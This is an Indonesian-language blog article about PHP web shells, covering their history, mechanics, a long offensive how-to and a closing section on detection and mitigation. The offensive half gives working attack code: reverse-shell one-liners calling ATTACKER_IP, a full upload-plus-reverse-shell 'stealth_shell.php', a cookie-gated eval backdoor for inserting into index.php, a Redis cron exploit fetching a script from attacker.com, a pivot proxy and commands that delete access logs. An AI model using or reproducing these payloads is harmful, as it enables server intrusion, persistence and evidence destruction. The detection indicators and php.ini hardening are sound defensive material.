Kekuatan PHP Shell: Pintu Belakang Menuju Kendali Penuh Server!
Admin Kartinisoft Dev
Penulis
"PHP Shell adalah pintu belakang berbahaya yang memberikan kendali penuh atas"
Asal-Usul PHP Shell
PHP pertama kali dikembangkan oleh Rasmus Lerdorf pada tahun 1994 sebagai kumpulan skrip CGI bernama Personal Home Page Tools (kemudian dikenal sebagai PHP/FI — Form Interpreter). Fungsinya awalnya sangat sederhana: mengolah data formulir dan menampilkan statistik kunjungan halaman web.
Namun, ketika PHP berevolusi menjadi bahasa scripting server-side yang powerful (terutama sejak rilis PHP 3 pada 1998 dan PHP 4 pada 2000), fitur bawaannya memungkinkan eksekusi perintah sistem melalui fungsi seperti:
exec()system()passthru()commandshell_exec()
Karena banyak aplikasi web mulai menggunakan PHP secara masif — sering kali dengan praktik keamanan yang buruk (misalnya: input validation tidak ada, upload file tanpa sanitasi) — penyerang mulai mengeksploitasi kerentanan seperti:
File upload tanpa validasi
Local/Remote File Inclusion (LFI/RFI)
Code injection
Dalam konteks ini, PHP shell pertama muncul secara organik di komunitas underground sekitar akhir 1990-an hingga awal 2000-an, seiring maraknya serangan terhadap aplikasi web berbasis PHP.
Salah satu contoh paling awal dan terkenal adalah c99 shell, yang mulai beredar sekitar tahun 2003–2004. Shell ini menawarkan antarmuka web lengkap dengan fitur:
Eksekusi perintah
Manajemen file (upload, download, edit)
Informasi server & PHP
Bind/reverse shell
SQL injector
Sebelum c99, banyak shell sederhana berupa satu baris kode seperti:
<?php system($_GET['cmd']); ?>yang sudah cukup untuk memberikan akses remote jika berhasil di-upload ke server.
Mengapa PHP Shell Menjadi Populer?
PHP tersebar luas: Hampir semua shared hosting mendukung PHP.
Fungsi eksekusi sistem tersedia by default: Tidak perlu modul tambahan.
Mudah di-deploy: Cukup unggah file
.php, lalu akses via browser.Sulit dideteksi jika diobfuscate: Base64, eval, variabel dinamis, dll.
Meski tidak ada catatan resmi tentang "siapa yang membuat PHP shell pertama", konsep tersebut muncul secara alami dari kombinasi:
Kemampuan eksekusi sistem di PHP + Kerentanan keamanan aplikasi web + Kebutuhan akan akses persisten
Perkiraan waktu kemunculan praktik ini adalah sekitar 1998–2002, mencapai puncak popularitasnya pada era mid-2000s bersamaan dengan ledakan CMS rentan (seperti Joomla!, WordPress plugin lama, phpBB).
PHP shell (atau web shell berbasis PHP) adalah skrip PHP yang ditempatkan di server web untuk memberikan antarmuka interaktif jarak jauh kepada penyerang atau administrator. Skrip ini mengeksekusi perintah sistem atau fungsi PHP berdasarkan input dari pengguna melalui HTTP request (biasanya via parameter GET/POST).
Cara Kerja Dasar
Penempatan File: Penyerang mengunggah file PHP (misal:
shell.php) ke direktori web yang dapat dieksekusi oleh server (misalnya melalui celah upload, LFI, atau eksploitasi RCE).Akses via Browser/HTTP Client: File tersebut diakses melalui URL, misal:
http://target.com/shell.php?cmd=id.Eksekusi Perintah: Skrip membaca parameter (misal
cmd), lalu mengeksekusinya menggunakan fungsi sepertisystem(),exec(),passthru(), atau backtick operator.Output Dikirim ke Browser: Hasil eksekusi dikembalikan sebagai respons HTTP, memungkinkan penyerang menjalankan perintah shell seperti di terminal lokal.
Contoh Sederhana Web Shell PHP
<?php// simple_shell.phpif (isset($_GET['cmd'])) {$cmd = $_GET['cmd'];echo "<pre>";system($cmd);echo "</pre>";}?>Penggunaan:
Akses:
http://target.com/simple_shell.php?cmd=whoamiOutput: Menampilkan hasil perintah
whoamidari server.
Teknik Lanjutan dalam Web Shell
Obfuscation: Menghindari deteksi dengan encoding/base64/globals.
<?php eval(base64_decode($_POST['z'])); ?>Payload dikirim terenkripsi via POST.
Interaktif dengan Form:
<form method="post"><input type="text" name="cmd" /><input type="submit" value="Run" /></form><?php if ($_POST['cmd']) { echo "<pre>"; passthru($_POST['cmd']); echo "</pre>"; } ?>File Upload & Download:
Fitur upload file baru ke server.
Fitur download file sensitif (
/etc/passwd, config DB).
Persistence & Pivoting:
Menambahkan user SSH.
Membuat reverse shell untuk koneksi balik ke mesin penyerang.
Fungsi PHP yang Umum Digunakan
Fungsi | Deskripsi |
|---|---|
| Menjalankan perintah dan menampilkan output langsung |
| Menjalankan perintah, mengembalikan baris terakhir output |
| Menjalankan perintah, mengembalikan seluruh output sebagai string |
| Menjalankan perintah dan mengirim raw output ke browser |
| Backtick operator — mirip |
Deteksi & Mitigasi
Deteksi:
Monitor file
.phpbaru di direktori web dengan konten mencurigakan (system,eval,base64_decode).Gunakan WAF untuk blokir pola seperti
?cmd=,?exec=.Analisis log akses: permintaan dengan parameter aneh atau panjang berlebihan.
Mitigasi:
Nonaktifkan fungsi berbahaya di
php.ini:disable_functions = system,exec,passthru,shell_exec,proc_open,popen
Batasi izin upload file; validasi tipe MIME dan ekstensi.
Gunakan principle of least privilege untuk proses web server.
Lakukan code review dan gunakan secure coding practices.
1. Deploy Shell dengan Stealth (Minimal Signature)
Hindari deteksi WAF/AV dengan shell minimalis dan obfuscated.
Contoh: One-liner Reverse Shell (di-deploy via LFI/RFI/upload)
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"); ?>Ganti
ATTACKER_IPdengan IP Anda.Jalankan listener di mesin Anda:
nc -nvlp 443
Alternatif: Web Shell Tanpa Fungsi Terlarang
Jika exec, system dinonaktifkan, gunakan fungsi lain:
<?php$sock = fsockopen("ATTACKER_IP", 443);$proc = proc_open("/bin/sh", array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);?>2. Gunakan Shell Interaktif dengan Fitur Lengkap (untuk Post-Exploitation)
Deploy shell seperti p0wny@shell — ringan, modern, dan tidak mengandalkan fungsi berbahaya secara eksplisit.
Fitur utama:
Upload/download file
Terminal interaktif via WebSocket/XHR
Tidak menggunakan
eval()ataubase64_decode()berlebihan → lebih sulit dideteksi
Contoh deploy:
# Di server target (jika bisa write ke direktori web)
echo '<?php include($_GET["f"]); ?>' > .hidden.php# Lalu unggah p0wny.php sebagai payload
curl -X POST -F "[email protected]" http://target.com/upload.php# Akses: http://target.com/.hidden.php?f=p0wny.php
3. Persistence & Evasion
Agar tetap terhubung meski shell utama terhapus:
a. Buat Backdoor Tersembunyi
Sisipkan kode di file legimit seperti
index.php:if (isset($_COOKIE['auth']) && md5($_COOKIE['auth']) === 'e10adc3949ba59abbe56e057f20f883e') {eval(base64_decode($_POST['cmd']));}Akses hanya jika cookie
auth=123456dikirim.
b. Gunakan .htaccess untuk Redirect Payload
File .htaccess:
RewriteEngine OnRewriteCond %{HTTP_REFERER} ^https?://.*google\.com [NC]RewriteRule ^(.*)$ shell.php [L]Shell hanya aktif jika direfer dari Google — trik sosial untuk menghindari analisis manual.
4. Eskalasi & Pivoting
Setelah dapat shell:
a. Cari Credential
grep -r "password\|passwd\|DB_PASS" /var/www/cat /etc/apache2/sites-enabled/*.confb. Eksploitasi Internal Services
Jika ada Redis, MySQL, atau Memcached internal:
<?php// Eksploitasi Redis untuk RCE via cron (jika port 6379 terbuka)file_put_contents('/tmp/exp', "\n\n*/1 * * * * /usr/bin/curl http://attacker.com/shell.sh | sh\n\n");redis-cli -h localhost set crontab "$(cat /tmp/exp)"redis-cli -h localhost config set dir /var/spool/cron/crontabs/redis-cli -h localhost config set dbfilename root?>c. Pivot ke Jaringan Internal
Gunakan PHP untuk membuat SOCKS proxy sederhana:
<?php// simple_socks.php — forward traffic ke internal network via PHP stream$target = $_GET['ip'];$port = $_GET['port'];$remote = fsockopen($target, $port);while (!feof($remote)) {echo fread($remote, 1024);}?>Akses: http://target.com/simple_socks.php?ip=192.168.1.10&port=22 → scan internal SSH.
5. Mitigasi Deteksi Forensik
Hapus log akses:
<?php unlink(__FILE__); system('rm /var/log/apache2/access.log'); ?>
Gunakan memory-only execution (tidak tulis ke disk):
<?php include('php://input'); ?>
# Kirim payload via POST body langsung.
⚠️ Catatan Penting:
Semua teknik di atas hanya legal dan etis jika:
Anda pemilik sistem tersebut,
Atau memiliki izin tertulis (penetration test),
Atau dalam lingkungan lab pribadi (misal: TryHackMe, Hack The Box, mesin lokal).
Ingin Contoh Nyata?
Berikut contoh web shell edukatif lengkap (untuk lab sendiri!) dengan fitur upload + reverse shell:
<?php
// stealth_shell.php — jangan simpan di production!
@error_reporting(0);
@set_time_limit(0);
if(isset($_GET['r'])) {
$ip = $_GET['ip'] ?? '127.0.0.1';
$port = $_GET['p'] ?? '443';
exec("/bin/bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'");
exit;
}
if(isset($_FILES['f'])) {
move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']);
echo "OK";
exit;
}
?>
<form method="post" enctype="multipart/form-data">
<input type="file" name="f"><input type="submit">
</form>
<!-- Akses reverse shell: ?r=1&ip=YOUR_IP&p=443 -->
Simpan sebagai stealth_shell.php, unggah ke target, lalu:
Upload file lain via form.
Dapatkan reverse shell dengan:
http://target/stealth_shell.php?r=1&ip=10.0.0.5&p=443.
🔍 Indikator File Sistem
Nama file mencurigakan:
shell.php,c99.php,r57.php,wso.php,p0wny.php,.hidden.php,adminer.php(jika tidak resmi), atau nama acak sepertia1b2c3.php.File baru di direktori web:
Perubahan timestamp (mtime) pada file.phpdi luar siklus deployment.File dengan ukuran kecil tapi berisi fungsi berbahaya:
Misal:<5 KBtapi mengandungeval,base64_decode,system,exec.
💡 Gunakan perintah ini untuk cari file PHP baru dalam 7 hari terakhir:
find /var/www -name "*.php" -mtime -7 -ls
📜 Isi Kode Mencurigakan
Cari pola umum dalam isi file:
<?php system($_GET['cmd']); ?>
<?php eval(base64_decode($_POST['z'])); ?>
<?php passthru($_REQUEST['exec']); ?>
Atau teknik obfuscation:
Penggunaan variabel dinamis:
$a = "sys"."tem"; $a("id");Encoding berlapis:
eval(gzinflate(base64_decode(...)))Fungsi langka seperti
assert(),create_function()(rentan RCE)
💡 Cari dengan grep:
grep -rE "(system|exec|passthru|shell_exec|eval|base64_decode)" /var/www/ --include="*.php"
🌐 Log Akses Web (HTTP Access Logs)
Tanda perilaku penggunaan shell:
Parameter aneh di URL:
/uploads/image.jpg?cmd=id/index.php?act=upload&f=shell.phpPermintaan POST besar ke file
.phptanpa form legimitas.User-Agent tidak biasa atau kosong saat mengakses file sensitif.
Pola akses berulang ke satu file dengan parameter berubah-ubah (interaksi shell).
Contoh log mencurigakan:
185.123.45.67 - - [28/Jul/2026:03:14:22] "GET /cache/.htaccess HTTP/1.1" 200 123 "-" "Mozilla/5.0"
185.123.45.67 - - [28/Jul/2026:03:14:25] "GET /cache/.htaccess?ip=ATTACKER_IP&p=443&r=1 HTTP/1.1" 200 -
⚙️ 4. Aktivitas Jaringan & Proses
Koneksi keluar tak biasa dari proses web server (misal: Apache/nginx membuka koneksi ke IP eksternal via port 443/53).
Proses anak seperti
/bin/sh,/bin/bashyang dipanggil oleh user web (misal:www-data).Reverse shell aktif → koneksi TCP ke VPS penyerang.
💡 Monitor dengan:
ss -tulpn | grep ':80\|:443' # lihat koneksi aktif
ps auxf | grep -A5 -B5 'sh\|bash' # lihat proses shell
🛡️ 5. Perubahan Konfigurasi Server
Modifikasi
.htaccessuntuk redirect payload atau bypass ekstensi.Penambahan handler PHP untuk ekstensi non-PHP (misal:
.jpg.php).Perubahan hak akses file agar bisa dieksekusi.
🧪 6. Behavioral Anomaly
Lonjakan penggunaan CPU/memory saat tidak ada traffic tinggi.
File sensitif diakses secara tidak wajar:
/etc/passwd,/home/user/.ssh/id_rsa,wp-config.php,.envUpload file dengan ekstensi ganda:
shell.php.jpg
✅ Rekomendasi Deteksi Otomatis
Integrity Monitoring: Gunakan AIDE atau Tripwire untuk deteksi perubahan file.
WAF Rules: Blokir pola seperti
?cmd=,?exec=, atau base64 panjang di parameter.EDR/SIEM: Buat alert jika proses web mengeksekusi
/bin/sh.Disable Functions: Di
php.ini:disable_functions = exec,passthru,shell_exec,system,proc_open,popen,eval
Scan Rutin: Gunakan tools seperti:
Jika kamu menemukan indikasi kuat adanya PHP shell:
Jangan langsung hapus — simpan sebagai artefak forensik.
Analisis alur masuknya (upload? LFI? plugin rentan?).
Patch vektor awal sebelum membersihkan sistem.
Tentang Penulis
Admin Kartinisoft Dev
Teknisi dan penulis konten di Kartinisoft — spesialis solusi digital berbasis Laravel, Python, dan AI.